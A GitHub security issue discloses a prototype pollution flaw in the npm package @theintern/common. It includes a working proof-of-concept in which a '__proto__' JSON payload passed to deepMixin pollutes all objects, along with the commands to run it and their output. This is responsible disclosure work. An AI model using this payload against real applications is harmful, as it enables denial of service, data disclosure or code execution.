Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] Prototype Pollution #1184

Open
ready-research opened this issue Sep 3, 2021 · 0 comments
Open

[Security] Prototype Pollution #1184

ready-research opened this issue Sep 3, 2021 · 0 comments

Comments

@ready-research
Copy link

@theintern/common is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
Reported the same in https://www.huntr.dev/bounties/1625553948781-theintern/intern/

🕵️‍♂️ Proof of Concept
1.Create the following PoC file:

// poc.js
var common = require("@theintern/common")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
common.deepMixin(obj, payload);
console.log("After : " + {}.polluted);

Execute the following commands in another terminal:

npm i @theintern/common # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant